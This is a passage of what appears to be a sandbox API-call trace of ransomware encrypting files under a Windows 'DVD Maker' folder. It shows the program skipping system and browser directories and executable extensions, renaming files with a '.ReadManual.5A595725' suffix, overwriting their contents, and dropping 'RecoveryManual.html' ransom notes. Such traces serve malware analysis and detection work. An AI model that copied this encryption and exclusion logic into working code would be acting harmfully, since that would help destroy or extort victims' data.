ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2e59f4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SportsScenesBackground_PAL.wmv", cAlternateFileName="")) returned 1 [0256.476] lstrcpyW (in: lpString1=0x6ab90a, lpString2="SportsScenesBackground_PAL.wmv" | out: lpString1="SportsScenesBackground_PAL.wmv") returned="SportsScenesBackground_PAL.wmv" [0256.476] lstrcmpiW (lpString1="SportsScenesBackground_PAL.wmv", lpString2="RecoveryManual.html") returned 1 [0256.476] StrStrIW (lpFirst="SportsScenesBackground_PAL.wmv", lpSrch=".ReadManual.5A595725") returned 0x0 [0256.476] StrCmpIW (psz1="wmv", psz2="exe") returned 1 [0256.476] StrCmpIW (psz1="wmv", psz2="dll") returned 1 [0256.476] StrCmpIW (psz1="wmv", psz2="sys") returned 1 [0256.476] StrCmpIW (psz1="wmv", psz2="msi") returned 1 [0256.476] StrCmpIW (psz1="wmv", psz2="mui") returned 1 [0256.476] StrCmpIW (psz1="wmv", psz2="inf") returned 1 [0256.476] StrCmpIW (psz1="wmv", psz2="cat") returned 1 [0256.476] StrCmpIW (psz1="wmv", psz2="bat") returned 1 [0256.476] StrCmpIW (psz1="wmv", psz2="cmd") returned 1 [0256.476] StrCmpIW (psz1="wmv", psz2="ps1") returned 1 [0256.476] StrCmpIW (psz1="wmv", psz2="vbs") returned 1 [0256.476] StrCmpIW (psz1="wmv", psz2="ttf") returned 1 [0256.476] StrCmpIW (psz1="wmv", psz2="fon") returned 1 [0256.476] StrCmpIW (psz1="wmv", psz2="lnk") returned 1 [0256.476] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsScenesBackground_PAL.wmv" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsScenesBackground_PAL.wmv") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsScenesBackground_PAL.wmv" [0256.476] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsScenesBackground_PAL.wmv", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsScenesBackground_PAL.wmv.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsScenesBackground_PAL.wmv.ReadManual.5A595725" [0256.476] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsScenesBackground_PAL.wmv.ReadManual.5A595725") returned 105 [0256.476] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37714500500) returned 1 [0256.476] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsScenesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsscenesbackground_pal.wmv")) returned 0x20 [0256.476] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsScenesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsscenesbackground_pal.wmv"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0256.477] GetLastError () returned 0x5 [0256.477] GetNamedSecurityInfoW () returned 0x0 [0256.477] SetNamedSecurityInfoW () returned 0x0 [0256.477] SetNamedSecurityInfoW () returned 0x0 [0256.478] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsScenesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsscenesbackground_pal.wmv"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0256.478] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=3037684) returned 1 [0256.478] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2e59f4, lpName=0x0) returned 0x1a0 [0256.478] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xe2) returned 1 [0256.479] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0256.479] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0256.494] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0256.495] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2e59f4) returned 0x4350000 [0258.027] UnmapViewOfFile (lpBaseAddress=0x4350000) returned 1 [0258.035] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37870335789) returned 1 [0258.035] CloseHandle (hObject=0x1a0) returned 1 [0258.035] SetSecurityInfo () returned 0x5 [0258.035] SetSecurityInfo () returned 0x5 [0258.035] LocalFree (hMem=0x674d38) returned 0x0 [0258.035] CloseHandle (hObject=0x184) returned 1 [0258.035] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71384d39, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71384d39, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff68a0b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x23d2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="sports_disc_mask.png", cAlternateFileName="")) returned 1 [0258.035] lstrcpyW (in: lpString1=0x6ab90a, lpString2="sports_disc_mask.png" | out: lpString1="sports_disc_mask.png") returned="sports_disc_mask.png" [0258.035] lstrcmpiW (lpString1="sports_disc_mask.png", lpString2="RecoveryManual.html") returned 1 [0258.035] StrStrIW (lpFirst="sports_disc_mask.png", lpSrch=".ReadManual.5A595725") returned 0x0 [0258.035] StrCmpIW (psz1="png", psz2="exe") returned 1 [0258.035] StrCmpIW (psz1="png", psz2="dll") returned 1 [0258.035] StrCmpIW (psz1="png", psz2="sys") returned -1 [0258.035] StrCmpIW (psz1="png", psz2="msi") returned 1 [0258.035] StrCmpIW (psz1="png", psz2="mui") returned 1 [0258.035] StrCmpIW (psz1="png", psz2="inf") returned 1 [0258.035] StrCmpIW (psz1="png", psz2="cat") returned 1 [0258.035] StrCmpIW (psz1="png", psz2="bat") returned 1 [0258.035] StrCmpIW (psz1="png", psz2="cmd") returned 1 [0258.035] StrCmpIW (psz1="png", psz2="ps1") returned -1 [0258.035] StrCmpIW (psz1="png", psz2="vbs") returned -1 [0258.036] StrCmpIW (psz1="png", psz2="ttf") returned -1 [0258.036] StrCmpIW (psz1="png", psz2="fon") returned 1 [0258.036] StrCmpIW (psz1="png", psz2="lnk") returned 1 [0258.036] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\sports_disc_mask.png" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\sports_disc_mask.png") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\sports_disc_mask.png" [0258.036] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\sports_disc_mask.png", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\sports_disc_mask.png.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\sports_disc_mask.png.ReadManual.5A595725" [0258.036] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\sports_disc_mask.png.ReadManual.5A595725") returned 95 [0258.036] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37870445892) returned 1 [0258.036] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\sports_disc_mask.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sports_disc_mask.png")) returned 0x20 [0258.036] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\sports_disc_mask.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sports_disc_mask.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.036] GetLastError () returned 0x5 [0258.036] GetNamedSecurityInfoW () returned 0x0 [0258.036] SetNamedSecurityInfoW () returned 0x0 [0258.037] SetNamedSecurityInfoW () returned 0x0 [0258.038] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\sports_disc_mask.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sports_disc_mask.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0258.038] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=9170) returned 1 [0258.038] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x23d2, lpName=0x0) returned 0x1a0 [0258.038] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xce) returned 1 [0258.046] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0258.046] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0258.047] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0258.048] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x23d2) returned 0x2f0000 [0258.048] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0258.048] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37871678529) returned 1 [0258.048] CloseHandle (hObject=0x1a0) returned 1 [0258.048] SetSecurityInfo () returned 0x5 [0258.048] SetSecurityInfo () returned 0x5 [0258.048] LocalFree (hMem=0x674d38) returned 0x0 [0258.048] CloseHandle (hObject=0x184) returned 1 [0258.048] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71384d39, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71384d39, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff68a0b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x23d2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="sports_disc_mask.png", cAlternateFileName="")) returned 0 [0258.048] FindClose (in: hFindFile=0x6bff40 | out: hFindFile=0x6bff40) returned 1 [0258.049] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa198102e, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa9057bb, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa19a729d, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Stacking", cAlternateFileName="")) returned 1 [0258.049] lstrcpyW (in: lpString1=0x69b8fc, lpString2="Stacking" | out: lpString1="Stacking") returned="Stacking" [0258.049] lstrcatW (in: lpString1="Stacking", lpString2="\\" | out: lpString1="Stacking\\") returned="Stacking\\" [0258.049] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\", lpSrch=":\\Windows\\") returned 0x0 [0258.049] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\", lpSrch=":\\System Volume Information\\") returned 0x0 [0258.049] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\", lpSrch=":\\$RECYCLE.BIN\\") returned 0x0 [0258.049] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\", lpSrch=":\\SYSTEM.SAV") returned 0x0 [0258.049] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\", lpSrch=":\\WINNT") returned 0x0 [0258.049] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\", lpSrch=":\\$WINDOWS.~BT\\") returned 0x0 [0258.049] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\", lpSrch=":\\Windows.old\\") returned 0x0 [0258.049] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\", lpSrch=":\\PerfLog\\") returned 0x0 [0258.049] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\", lpSrch="\\WindowsApps\\") returned 0x0 [0258.049] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\", lpSrch="\\Microsoft\\Windows\\") returned 0x0 [0258.049] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\", lpSrch="\\Roaming\\Microsoft\\") returned 0x0 [0258.049] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\", lpSrch="\\Local\\Microsoft\\") returned 0x0 [0258.049] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\", lpSrch="\\LocalLow\\Microsoft\\") returned 0x0 [0258.049] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\", lpSrch=":\\ProgramData\\Microsoft\\") returned 0x0 [0258.049] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\", lpSrch="\\Local\\Packages\\") returned 0x0 [0258.049] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\", lpSrch=":\\ProgramData\\Packages\\") returned 0x0 [0258.049] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\", lpSrch="\\Windows Defender\\") returned 0x0 [0258.049] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\", lpSrch="\\microsoft shared\\") returned 0x0 [0258.049] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\", lpSrch="\\Google\\Chrome\\") returned 0x0 [0258.049] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\", lpSrch="\\Mozilla Firefox\\") returned 0x0 [0258.049] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\", lpSrch="\\Mozilla\\Firefox\\") returned 0x0 [0258.049] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\", lpSrch="\\Internet Explorer\\") returned 0x0 [0258.049] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\", lpSrch="\\MicrosoftEdge\\") returned 0x0 [0258.050] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\", lpSrch="\\Tor Browser\\") returned 0x0 [0258.050] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\", lpSrch="\\AppData\\Local\\Temp\\") returned 0x0 [0258.050] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\") returned 57 [0258.050] FindFirstFileW (in: lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\*", lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa198102e, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa9057bb, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa19a729d, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6bff40 [0258.052] lstrcpyW (in: lpString1=0x6ab89c, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\" [0258.052] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa198102e, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa9057bb, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa19a729d, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0258.052] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f740a33, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f740a33, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x540920df, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="1047x576black.png", cAlternateFileName="")) returned 1 [0258.052] lstrcpyW (in: lpString1=0x6ab90e, lpString2="1047x576black.png" | out: lpString1="1047x576black.png") returned="1047x576black.png" [0258.052] lstrcmpiW (lpString1="1047x576black.png", lpString2="RecoveryManual.html") returned -1 [0258.052] StrStrIW (lpFirst="1047x576black.png", lpSrch=".ReadManual.5A595725") returned 0x0 [0258.052] StrCmpIW (psz1="png", psz2="exe") returned 1 [0258.052] StrCmpIW (psz1="png", psz2="dll") returned 1 [0258.052] StrCmpIW (psz1="png", psz2="sys") returned -1 [0258.052] StrCmpIW (psz1="png", psz2="msi") returned 1 [0258.052] StrCmpIW (psz1="png", psz2="mui") returned 1 [0258.052] StrCmpIW (psz1="png", psz2="inf") returned 1 [0258.052] StrCmpIW (psz1="png", psz2="cat") returned 1 [0258.052] StrCmpIW (psz1="png", psz2="bat") returned 1 [0258.052] StrCmpIW (psz1="png", psz2="cmd") returned 1 [0258.052] StrCmpIW (psz1="png", psz2="ps1") returned -1 [0258.052] StrCmpIW (psz1="png", psz2="vbs") returned -1 [0258.052] StrCmpIW (psz1="png", psz2="ttf") returned -1 [0258.052] StrCmpIW (psz1="png", psz2="fon") returned 1 [0258.052] StrCmpIW (psz1="png", psz2="lnk") returned 1 [0258.052] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\1047x576black.png" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\1047x576black.png") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\1047x576black.png" [0258.052] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\1047x576black.png", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\1047x576black.png.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\1047x576black.png.ReadManual.5A595725" [0258.052] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\1047x576black.png.ReadManual.5A595725") returned 94 [0258.052] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37872112633) returned 1 [0258.052] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\1047x576black.png")) returned 0x20 [0258.053] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\1047x576black.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.053] GetLastError () returned 0x5 [0258.053] GetNamedSecurityInfoW () returned 0x0 [0258.053] SetNamedSecurityInfoW () returned 0x0 [0258.053] SetNamedSecurityInfoW () returned 0x0 [0258.054] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\1047x576black.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0258.054] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=4570) returned 1 [0258.054] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x11da, lpName=0x0) returned 0x1a0 [0258.054] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xcc) returned 1 [0258.055] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0258.055] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0258.056] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0258.057] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x11da) returned 0x2f0000 [0258.057] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0258.057] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37872566322) returned 1 [0258.057] CloseHandle (hObject=0x1a0) returned 1 [0258.057] SetSecurityInfo () returned 0x5 [0258.057] SetSecurityInfo () returned 0x5 [0258.057] LocalFree (hMem=0x674d38) returned 0x0 [0258.057] CloseHandle (hObject=0x184) returned 1 [0258.057] lstrcpyW (in: lpString1=0x68b874, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\" [0258.057] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\", lpString2="RecoveryManual.html" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\RecoveryManual.html") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\RecoveryManual.html" [0258.057] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\RecoveryManual.html" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\recoverymanual.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0258.058] WriteFile (in: hFile=0x184, lpBuffer=0x2e8138*, nNumberOfBytesToWrite=0xae9, lpNumberOfBytesWritten=0x434fda8, lpOverlapped=0x0 | out: lpBuffer=0x2e8138*, lpNumberOfBytesWritten=0x434fda8*=0xae9, lpOverlapped=0x0) returned 1 [0258.059] CloseHandle (hObject=0x184) returned 1 [0258.059] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f71a8d6, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f71a8d6, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x5396df3f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1928, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="1047x576_91n92.png", cAlternateFileName="")) returned 1 [0258.059] lstrcpyW (in: lpString1=0x6ab90e, lpString2="1047x576_91n92.png" | out: lpString1="1047x576_91n92.png") returned="1047x576_91n92.png" [0258.059] lstrcmpiW (lpString1="1047x576_91n92.png", lpString2="RecoveryManual.html") returned -1 [0258.059] StrStrIW (lpFirst="1047x576_91n92.png", lpSrch=".ReadManual.5A595725") returned 0x0 [0258.059] StrCmpIW (psz1="png", psz2="exe") returned 1 [0258.059] StrCmpIW (psz1="png", psz2="dll") returned 1 [0258.059] StrCmpIW (psz1="png", psz2="sys") returned -1 [0258.059] StrCmpIW (psz1="png", psz2="msi") returned 1 [0258.059] StrCmpIW (psz1="png", psz2="mui") returned 1 [0258.059] StrCmpIW (psz1="png", psz2="inf") returned 1 [0258.059] StrCmpIW (psz1="png", psz2="cat") returned 1 [0258.059] StrCmpIW (psz1="png", psz2="bat") returned 1 [0258.059] 